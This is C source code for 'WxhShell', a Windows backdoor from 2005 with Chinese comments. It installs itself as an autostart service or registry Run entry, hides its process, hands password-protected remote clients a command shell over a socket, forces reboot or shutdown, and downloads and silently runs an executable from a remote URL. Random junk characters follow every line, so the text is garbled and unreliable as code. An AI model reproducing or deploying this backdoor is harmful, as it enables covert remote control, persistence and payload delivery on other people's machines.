  case 'd': { PL8{|Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F}Bc +i#]  
    if(Boot(SHUTDOWN)) iSxxy1R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E<3hy  
    else { 3zb;q@JV  
    closesocket(wsh); y+RT[*bX5o  
    ExitThread(0); VI%879Z\e  
    } /Q"nQSG  
    break; Rg&6J#h  
    } z[Kxy1,  
  // 获取shell `h M:U  
  case 's': { 'f`~"@  
    CmdShell(wsh); RB_7S!qC5  
    closesocket(wsh); gKg2Ntxj  
    ExitThread(0); nzDS  
    break; yZ,k8TJ",  
  } ,_T,B'a:  
  // 退出 1h\:Lj  
  case 'x': { )2oWoZ vi9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  Iz2K  
    CloseIt(wsh); QEM")(  
    break; 5(MWgC1  
    } >TsJ0E?3x  
  // 离开 %^"Tz,f  
  case 'q': { IxCEE5+`%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .i/]1X*;r^  
    closesocket(wsh); $B4}('&4FQ  
    WSACleanup(); `QR2!W70o3  
    exit(1); N_L&!%s  
    break; Bh*~I_Ta>  
        } Z`"UT#^SI  
  } ,ewg3mYHC&  
  } G=3/PYp  
p;j$i6YJ  
  // 提示信息 0|{U"\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]t1)8v2w>  
} N|Ua|^  
  } Pp GNA  
q y y.3-(  
  return; 7F`QN18>(  
} 7& k lX  
)+ Wr- Yay  
// shell模块句柄 1l\O9D +$  
int CmdShell(SOCKET sock) nl5K1!1  
{ yQhrPw> m  
STARTUPINFO si; a-Cp"pKlVY  
ZeroMemory(&si,sizeof(si)); PZpwi?N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S#+G?I3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K4n1#]8i  
PROCESS_INFORMATION ProcessInfo; &tD`~  
char cmdline[]="cmd"; ?9!tMRb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N)  {  
  return 0; ;lX:EU  
} D{.%Dr?  
@D"#B@j  
// 自身启动模式 q) /;|h  
int StartFromService(void) ]Nt97eD)  
{ ACl:~7;  
typedef struct \\hZlCV,  
{ M)EKS  
  DWORD ExitStatus; =Mn! [  
  DWORD PebBaseAddress; uh#PZ xnP  
  DWORD AffinityMask; R_vZh|  
  DWORD BasePriority; S97.O@V!$  
  ULONG UniqueProcessId; qvYYKu  
  ULONG InheritedFromUniqueProcessId; <l wI|<  
}   PROCESS_BASIC_INFORMATION; q9WdJ!-^X  
yc]ni.Hz  
PROCNTQSIP NtQueryInformationProcess; 0 nWV1)Q0=  
rxa"ji!)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v_c'npC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _gC<%6#V`r  
EemKYcE@Nr  
  HANDLE             hProcess; %/etoK  
  PROCESS_BASIC_INFORMATION pbi; |,dMF2ADc  
tt J,rM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G:WMocyXI'  
  if(NULL == hInst ) return 0; ]N=C%#ki!  
#4na>G|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  TWx<)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YXI DqTA+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^ ?tAt3dMI  
CM5A-R90  
  if (!NtQueryInformationProcess) return 0; A$XjzTR  
nQ$N(2<Fe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U%k e 5uwP  
  if(!hProcess) return 0; `Q(ac| 0  
Q^MB%L;D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `t!iknOQ$  
aGpRdF1;!  
  CloseHandle(hProcess); zo} SS[  
Vg \-^$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a _  
if(hProcess==NULL) return 0; i+&= "Z@  
~d5"<`<^o  
HMODULE hMod; _\]D<\St  
char procName[255]; o4~ft!>  
unsigned long cbNeeded; 3sp*.dk  
m\Tq0cT$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X'?v8\mPK  
&2xYG{Z  
  CloseHandle(hProcess); Jh466; E  
o=`9JKB~  
if(strstr(procName,"services")) return 1; // 以服务启动 ( ?/0$DB  
TdQ^^{SRp  
  return 0; // 注册表启动 r]HLO'<]  
} M0]l!x#7  
6J|f^W-fs  
// 主模块 mu{%%b7|^  
int StartWxhshell(LPSTR lpCmdLine) X2@o"xU  
{ $}KYpSV  
  SOCKET wsl; @{CpC  
BOOL val=TRUE; !zJ.rYZ=g`  
  int port=0; ~-:CN(U  
  struct sockaddr_in door; &PgdCijGq;  
 v$tS 2N2  
  if(wscfg.ws_autoins) Install(); _ZS<zQ'  
t9`NCng 5  
port=atoi(lpCmdLine); dhVwS$O )  
<}mT[;:"  
if(port<=0) port=wscfg.ws_port; @tj0Ir v  
+] 5a(/m.~  
  WSADATA data; _r8AO>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \clWrK  
so8-e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   23OV y^b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aSF&^/j  
  door.sin_family = AF_INET; $Ilr.6';  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =u'/\nxCF  
  door.sin_port = htons(port); @H_LPn  
zcZw}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sQ)4kF&,  
closesocket(wsl); F`- [h )e.  
return 1; kcOpO<oE  
} @B^'W'&C  
]yIy~V  
  if(listen(wsl,2) == INVALID_SOCKET) { wlpbfO e/  
closesocket(wsl); ):|)/ZiC'  
return 1; ?Jr<gn^D  
} =[jBOx&  
  Wxhshell(wsl); zp9 ?Ia  
  WSACleanup(); o>*{5>#k'  
]_pL79y  
return 0; 7>~iS@7GV  
0[i]PgIH  
} ]Aluk|"`U  
n=>Gu9`  
// 以NT服务方式启动 xeH# )QJt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 785iY865  
{ r9t{/})A  
DWORD   status = 0; *FE<'+%  
  DWORD   specificError = 0xfffffff; [ho'Pc3A<  
*7vPU:Q[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6,h<0j{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jF5JpyOc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &%bX&;ECzf  
  serviceStatus.dwWin32ExitCode     = 0; LPNv4lT[u  
  serviceStatus.dwServiceSpecificExitCode = 0; |kd^]! _  
  serviceStatus.dwCheckPoint       = 0; <qy+@t  
  serviceStatus.dwWaitHint       = 0; .iS]aJJ  
xD#/@E1'Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .iYgRW=T  
  if (hServiceStatusHandle==0) return; @t^ 2/H ?O  
<|_Ey)1 6  
status = GetLastError(); JQ1VCG  
  if (status!=NO_ERROR) ?yU#'`q  
{ a;zcAeX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; avz 4 &  
    serviceStatus.dwCheckPoint       = 0; Iymz2  
    serviceStatus.dwWaitHint       = 0; evR=Z\ _  
    serviceStatus.dwWin32ExitCode     = status; W6iIL:sp  
    serviceStatus.dwServiceSpecificExitCode = specificError; GkC88l9z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S-H3UND"  
    return; lt4UNJ3w  
  } BxqCV%9o  
xV6j6k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hf-S6PEsM  
  serviceStatus.dwCheckPoint       = 0; ,]Ma ,2  
  serviceStatus.dwWaitHint       = 0; dkLR Q   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *,pqpD>  
} h`Mf;'P  
p(8\w-6  
// 处理NT服务事件,比如:启动、停止 :Rn9rdX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7.t$#fzi  
{ wf4Q}l2,d  
switch(fdwControl) F)IP~BE-k  
{ =3:ltI.'*I  
case SERVICE_CONTROL_STOP: b2Hpuej  
  serviceStatus.dwWin32ExitCode = 0; k$>T(smh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EGt)tI&  
  serviceStatus.dwCheckPoint   = 0; -5[GX3h0  
  serviceStatus.dwWaitHint     = 0; 8HOmWQS  
  { a~|ge9? (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E$wB bm  
  } 6p@ts`#  
  return; %xRS9A 4  
case SERVICE_CONTROL_PAUSE: ^n]s}t}csV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l rzW H0Q  
  break; 3{l"E(qqZ  
case SERVICE_CONTROL_CONTINUE: 0{yx*}.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^PI49iB  
  break; 9s)oC$\  
case SERVICE_CONTROL_INTERROGATE: `jHGNi  
  break; fjFy$NX&>  
}; =jN]ckn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qrkT7f  
} [ n2udV  
+=_Pl7?  
// 标准应用程序主函数 7`}z7nk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P33E\O  
{ kYAvzuGRb  
nGVqVSxKT  
// 获取操作系统版本 9PAp*`J@kr  
OsIsNt=GetOsVer(); UPYM~c+}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bq O"k t  
1#(1Bs6X  
  // 从命令行安装 "J#:PfJ%  
  if(strpbrk(lpCmdLine,"iI")) Install(); -ZB"Yg$l  
Exr7vL  
  // 下载执行文件 7E95"B&w  
if(wscfg.ws_downexe) { R;o_*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dc)Gk  
  WinExec(wscfg.ws_filenam,SW_HIDE); _+En%p.m  
} )R4<* /C:w  
:m\KQ1sq  
if(!OsIsNt) { u_B SWhiW  
// 如果时win9x,隐藏进程并且设置为注册表启动 hqPn~Tq  
HideProc(); q*O KA5  
StartWxhshell(lpCmdLine); YYHm0pc  
} z@i4dC  
else Q\76jD`m\  
  if(StartFromService()) iIFQRnpu;3  
  // 以服务方式启动 <B`V  
  StartServiceCtrlDispatcher(DispatchTable); 4lA+V,#  
else K^H t$04  
  // 普通方式启动 z"3c+?2  
  StartWxhshell(lpCmdLine); (zBQ^97]  
Z3dd9m#.]  
return 0; B/OO$=>(  
} V1.F`3h~  
)a\h5nQI)  
G$ FBx  
 D;]%  
=========================================== C)j)j&  
.KN]a"]  
:!$z1u8R  
">3@<f>  
+0Gep}&z.  
Kcl$|T  
" #A; Z4jK  
YkX=n{^  
#include <stdio.h> ''uI+>Y  
#include <string.h> p/h&_^EXU  
#include <windows.h> ~-d.3A $u  
#include <winsock2.h> iC-ABOOu{l  
#include <winsvc.h> )*ckJK  
#include <urlmon.h> =]e^8;e9  
+pvJ?"J  
#pragma comment (lib, "Ws2_32.lib") M>@R=f  
#pragma comment (lib, "urlmon.lib") W1 Qc1T8  
>nQ yF  
#define MAX_USER   100 // 最大客户端连接数 {M/c!  
#define BUF_SOCK   200 // sock buffer E,7~kd~y`  
#define KEY_BUFF   255 // 输入 buffer l{9h8]^  
)_cv}.xe  
#define REBOOT     0   // 重启 @ WaYU  
#define SHUTDOWN   1   // 关机 K*$#D1hG  
<q\) o_tH  
#define DEF_PORT   5000 // 监听端口 $0T"YC%  
4-_lf(# i  
#define REG_LEN     16   // 注册表键长度 2 -aYqMmT;  
#define SVC_LEN     80   // NT服务名长度 sv"mba.J  
M%xL K7  
// 从dll定义API s2~dmZ_B|_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *GP_ut%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1i:g /H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p^P y,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OPW"AB J  
,<b|@1\k  
// wxhshell配置信息 _~Vz+nT  
struct WSCFG { ~uadivli  
  int ws_port;         // 监听端口 S7{.liHf  
  char ws_passstr[REG_LEN]; // 口令 % VpBB  
  int ws_autoins;       // 安装标记, 1=yes 0=no nM-SDVFM  
  char ws_regname[REG_LEN]; // 注册表键名 DWQQ615i  
  char ws_svcname[REG_LEN]; // 服务名 mndl~/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l-}5@D[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RJwIN,&1.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J"/z?!)IB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PMs_K"-K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j#t8Krd] "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +wozjjc  
x }'4^Cv  
}; :xS&Y\ry  
siYRRr  
// default Wxhshell configuration Y>Hl0$:=  
struct WSCFG wscfg={DEF_PORT, uhB!k-ir  
    "xuhuanlingzhe", orH0M!OtS!  
    1, {$YD-bqY  
    "Wxhshell", ih |Ky+!  
    "Wxhshell", e=sJMzm~  
            "WxhShell Service", F*t_lN5{  
    "Wrsky Windows CmdShell Service", Xj~EVD  
    "Please Input Your Password: ", 3DC%I79  
  1, Qk.Q9@3W  
  "http://www.wrsky.com/wxhshell.exe", puN=OX}C  
  "Wxhshell.exe" M5WtGIV  
    }; /1~|jmi(  
'QojSq   
// 消息定义模块 (0#F]""\e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yc`j   
char *msg_ws_prompt="\n\r? for help\n\r#>"; )kKmgtj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o Xi}@  
char *msg_ws_ext="\n\rExit."; Du:p!nO  
char *msg_ws_end="\n\rQuit."; YQV?S  
char *msg_ws_boot="\n\rReboot..."; W^.-C  
char *msg_ws_poff="\n\rShutdown..."; ^7 bf8 ^`  
char *msg_ws_down="\n\rSave to "; )nHE$gVM s  
Q&7)vs  
char *msg_ws_err="\n\rErr!"; \UqS -j|  
char *msg_ws_ok="\n\rOK!"; fTV|? :C{  
92]ZiL?k  
char ExeFile[MAX_PATH]; _T|H69 J  
int nUser = 0; {lTxB'W@d  
HANDLE handles[MAX_USER]; $>"e\L4Kp  
int OsIsNt; `1bX.7K43  
C]yQ "b  
SERVICE_STATUS       serviceStatus; h^+C)6(58n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k\sM;bCv7  
Nv?-*&L  
// 函数声明 |"YA<e %  
int Install(void); 5 k%9>U%$  
int Uninstall(void); S=H_9io  
int DownloadFile(char *sURL, SOCKET wsh); =lC;^&D-0/  
int Boot(int flag); N&^xq_9&  
void HideProc(void); h@;)dLo0z  
int GetOsVer(void); 1i/::4=  
int Wxhshell(SOCKET wsl); nt0\q'&  
void TalkWithClient(void *cs); )R8%'X;U  
int CmdShell(SOCKET sock); #3K,V8(  
int StartFromService(void); [AZ aT  
int StartWxhshell(LPSTR lpCmdLine); q@!'R{fu  
Afy .3T @)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n5+S"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -}X?2Q  
G/z\^Q  
// 数据结构和表定义 h!G^dW.  
SERVICE_TABLE_ENTRY DispatchTable[] = ^@`e  
{ .3&a{IxM]  
{wscfg.ws_svcname, NTServiceMain}, -*%!q$:  
{NULL, NULL}  /MqXwUbO  
}; z{pC7e5  
A ,-V$[;~D  
// 自我安装 ~z K@pFeH  
int Install(void) ihiuSF<NaQ  
{ twtkH~`"Q  
  char svExeFile[MAX_PATH]; O5qW*r'  
  HKEY key; %x}&=zx0*1  
  strcpy(svExeFile,ExeFile); Y62u%':X  
wY3|#P CDV  
// 如果是win9x系统,修改注册表设为自启动 y=9Dxst"V  
if(!OsIsNt) { p2x1xv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $xA J9_2P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~llMrl7  
  RegCloseKey(key); ~|'y+h89  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @q+cm JKv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f `y" a@  
  RegCloseKey(key); $89ea*k  
  return 0; sB( `[5I  
    } s[3![ "^Y  
  } 3WCqKXJ7  
} jF2[bzY4  
else { hqs$yb  
sq~+1(X  
// 如果是NT以上系统,安装为系统服务 ESD<8 OR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9p2>`L  
if (schSCManager!=0) 6Lg!L odu  
{ @A2/@]HBm  
  SC_HANDLE schService = CreateService )WVItqQKV  
  ( VFl 1 f  
  schSCManager, F?b'L JS  
  wscfg.ws_svcname, "7kgez#Y  
  wscfg.ws_svcdisp, mQJ4;BJw  
  SERVICE_ALL_ACCESS, 2y+70(E1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _{e&@ d  
  SERVICE_AUTO_START, qRPc %"  
  SERVICE_ERROR_NORMAL, /&]-I$G@  
  svExeFile, Gefnk!;;  
  NULL, ?ds f@\  
  NULL, \P l,' 1%  
  NULL, hdd>&?p3  
  NULL, @PQrmn6w  
  NULL 5S%C~iB  
  ); D3S+LV  
  if (schService!=0) -9OMn}w/*  
  { ImWXzg3@{  
  CloseServiceHandle(schService); EO#gUv  
  CloseServiceHandle(schSCManager); Fn86E dFM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d7"U WY^  
  strcat(svExeFile,wscfg.ws_svcname); bQwdgc),s{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j:3EpD@GS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d"H<e}D  
  RegCloseKey(key); _W0OM[  
  return 0; D =r-  
    } H>?:U]  
  } J>=1dCK  
  CloseServiceHandle(schSCManager); k42b:W5%  
} Es'-wr\Hm  
} :be:-b%K  
(R_CUH  
return 1; !8xKf*y  
} zmf"I[)  
/Hv* K&}M  
// 自我卸载 ,b<9?PM  
int Uninstall(void) of8mwnZR  
{ <ROpuY\!l  
  HKEY key; hZAG (Z  
f49"pTw7  
if(!OsIsNt) { `$S^E !=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +D :83h{  
  RegDeleteValue(key,wscfg.ws_regname); > P<z |8  
  RegCloseKey(key); jg[5UTkcs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P*pbwV#|  
  RegDeleteValue(key,wscfg.ws_regname); r\(v+cd  
  RegCloseKey(key); aS,a_b]  
  return 0; CI,lkO|C  
  } K`hz t  
} TdQ ]G2  
} :T_'n,  
else { |d $1wr  
=G( *gx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `#u l,%  
if (schSCManager!=0) EdEoXY-2  
{ Kb-W tFx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r4E`'o[  
  if (schService!=0) ^vpIZjN  
  { n`%2Mj c  
  if(DeleteService(schService)!=0) { su&t7rJ  
  CloseServiceHandle(schService); #G3` p!"  
  CloseServiceHandle(schSCManager); kg<P t >  
  return 0; 6m9 7_NRO  
  } #2\8?UPd  
  CloseServiceHandle(schService); H(G!t`K  
  } %a5t15 9  
  CloseServiceHandle(schSCManager); tXt:HVN  
} 7))\'\  
} %X;7--S%?g  
Iz#yQ`  
return 1; %yp5DD}|  
} NZ>7dJ  
CoU3S,;*  
// 从指定url下载文件 =HVfJ"vK  
int DownloadFile(char *sURL, SOCKET wsh) R|iEvt  
{ - yoAxPDW  
  HRESULT hr; [|4}~UV  
char seps[]= "/"; q]px(  
char *token; ~n WsP}`n  
char *file; M;*$gV<x  
char myURL[MAX_PATH]; wa!zv^;N*  
char myFILE[MAX_PATH]; Y+g,pX  
4r\*@rq  
strcpy(myURL,sURL); Jen%}\  
  token=strtok(myURL,seps); D9.`hs0  
  while(token!=NULL) vQ 4}WtvA  
  { )GVBE%!WEd  
    file=token; ~Rs#|JWB2V  
  token=strtok(NULL,seps); !tU'J"Zy  
  } b6"}"bG  
9JPEj-3`g  
GetCurrentDirectory(MAX_PATH,myFILE); Q&xjF@I  
strcat(myFILE, "\\"); daslaa_A  
strcat(myFILE, file); o@9+mM"B)  
  send(wsh,myFILE,strlen(myFILE),0); >SoO4i8  
send(wsh,"...",3,0); O|I+],  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bKMWWJf*'  
  if(hr==S_OK) ZqQ*}l5  
return 0; Stxp3\jEn  
else O$qtq(Q%  
return 1; edijfhn  
CvK3H\.&;k  
} 537?9  
hv>KX  
// 系统电源模块 @QdnjXII*  
int Boot(int flag) <~{du ?4n  
{ R4{-Qv#8 q  
  HANDLE hToken; ;~+]! U  
  TOKEN_PRIVILEGES tkp; o0ZBi|U\4  
qsI^oBD"  
  if(OsIsNt) { K]/Od  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0C$8g Y*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Ps.E  
    tkp.PrivilegeCount = 1; r\2vl8X~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l%~lz[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sN~\+_  
if(flag==REBOOT) { +q{[\#t5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "R[l ZJ@  
  return 0; 7 [d ?  
} Qz,|mo+  
else { d'"r("w#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1J{fXh  
  return 0; *k [J6  
} y$b]7O  
  } C\}/"  
  else { @gY\;[#.  
if(flag==REBOOT) { Kqg!,Sn|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5o)Y$>T0  
  return 0; wL}l`fRB  
} mwC=o5O  
else { mchJmZ{A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v2)g 1sXd  
  return 0; A"uULfnk  
} DyO$P#~?  
} hyg8wI  
a.2L*>p  
return 1; Y32 "N[yw  
} !H@0MQ7  
7Nzbz3  
// win9x进程隐藏模块 z>m=h)9d~  
void HideProc(void) !do?~$Og  
{ S( ^.?z  
x=q;O+7]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5!X1G8h)uy  
  if ( hKernel != NULL ) T-_"|-k}P%  
  { @FO) 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?jx1R^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J h&~ToF!  
    FreeLibrary(hKernel); uXjP`/R|  
  } a<~77~"4wn  
zfA GtT <  
return; IZ/m4~  
} oU*45B`"  
*{ {b~$  
// 获取操作系统版本 #OO>rm$  
int GetOsVer(void) "A$!, PX6  
{ 06q(aI^Ch@  
  OSVERSIONINFO winfo; QX4ai3v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "VG+1r+]4  
  GetVersionEx(&winfo); BZ!v%4^9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _tTNG2  
  return 1; 0'YG6(h  
  else :a ->0 l  
  return 0; -h|B1*mt  
} .Z:zZ_Ev  
="wzq+U  
// 客户端句柄模块 ^. dsW0"0  
int Wxhshell(SOCKET wsl) 1 i[\T  
{ #9-P%%kQ  
  SOCKET wsh; '(bgs   
  struct sockaddr_in client; /DQaGq/Ld  
  DWORD myID; z|EEVNFd&  
?=m?jNa;nC  
  while(nUser<MAX_USER) aT>'.*\]  
{ 'u4<BQVV[  
  int nSize=sizeof(client); n8*;lK8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y{dTp  
  if(wsh==INVALID_SOCKET) return 1; $,+O9Et  
\7Jg7*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EQ'V{PIfj  
if(handles[nUser]==0) x=ul&|^7D  
  closesocket(wsh); [<DZ*|+  
else t2,A@2DU 2  
  nUser++; ]gYz 4OT  
  } BZ zrRC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K+;e4_\  
/"eey(X  
  return 0; WI?oSE w  
} Re P|UH  
}ZYv~E'  
// 关闭 socket bGc~Wr|  
void CloseIt(SOCKET wsh) s2Mb[#:a"  
{ emCM\|NQg&  
closesocket(wsh); ?b(=1S\E'^  
nUser--; 0NS<?p~_S  
ExitThread(0); ;W>k@L  
} vI>>\ .ED  
{q"OM*L(  
// 客户端请求句柄 W[Ls|<Q  
void TalkWithClient(void *cs) rg^'S1x|  
{ &l!4mxwr`  
Y;?{|  
  SOCKET wsh=(SOCKET)cs; 9WyAb3d'  
  char pwd[SVC_LEN]; 0u;4%}pD  
  char cmd[KEY_BUFF];  Vh_P/C+  
char chr[1]; \ExMk<y_&  
int i,j; wK?vPS  
u6AA4(  
  while (nUser < MAX_USER) { *MKO I'  
`{dm;j5/y  
if(wscfg.ws_passstr) { uScMn/%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OX\A|$GS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MF5[lK9e  
  //ZeroMemory(pwd,KEY_BUFF);  |y(Q  
      i=0; &5yV xL:  
  while(i<SVC_LEN) {  # 1OOU  
lhy*h_>  
  // 设置超时 #d6)#:uss  
  fd_set FdRead; h&KO<>  
  struct timeval TimeOut; 37s0e;aF  
  FD_ZERO(&FdRead); F(>Np2oi6  
  FD_SET(wsh,&FdRead); h1de[q)  
  TimeOut.tv_sec=8; 9Z4nAc  
  TimeOut.tv_usec=0; .(K)?r-g5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o~`/_ +  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _852H$H\  
}\B><E{G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pR=@S>!|  
  pwd=chr[0]; ZrpU <   
  if(chr[0]==0xd || chr[0]==0xa) { dYJ(!V&  
  pwd=0; b3=rG(0f  
  break; `dq,>HdW  
  } k\5c|Wq|g  
  i++; v[1aW v:  
    } ssfr}fzH  
(A9Fhun  
  // 如果是非法用户,关闭 socket d; boIP`M;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ag [ZW  
} >g1~CEMN#  
I|qo+u)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E(>=rD/+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u^^[Q2LDU}  
?:Uv[|S#>  
while(1) { DhKS pA  
SW@$ci  
  ZeroMemory(cmd,KEY_BUFF); Ni9/}bb  
\ 2M_\Q`NY  
      // 自动支持客户端 telnet标准   R@1xt@?  
  j=0; D+lAhEN  
  while(j<KEY_BUFF) { PxvyN_B#>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` Fa~  
  cmd[j]=chr[0]; q+yQwX{  
  if(chr[0]==0xa || chr[0]==0xd) { 6AAz  
  cmd[j]=0; XWBA^|-N  
  break; I fK,b*%  
  } r8`ffH  
  j++; (nQ^  
    } Wf+cDpK  
01 }D,W`  
  // 下载文件 c[0}AG J  
  if(strstr(cmd,"http://")) { Ouk ^O}W6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5AFJC?   
  if(DownloadFile(cmd,wsh)) }7b%HTF=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8a~L8oN  
  else .73X3`P25  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8SMxw~9$  
  } ?qb}?&1  
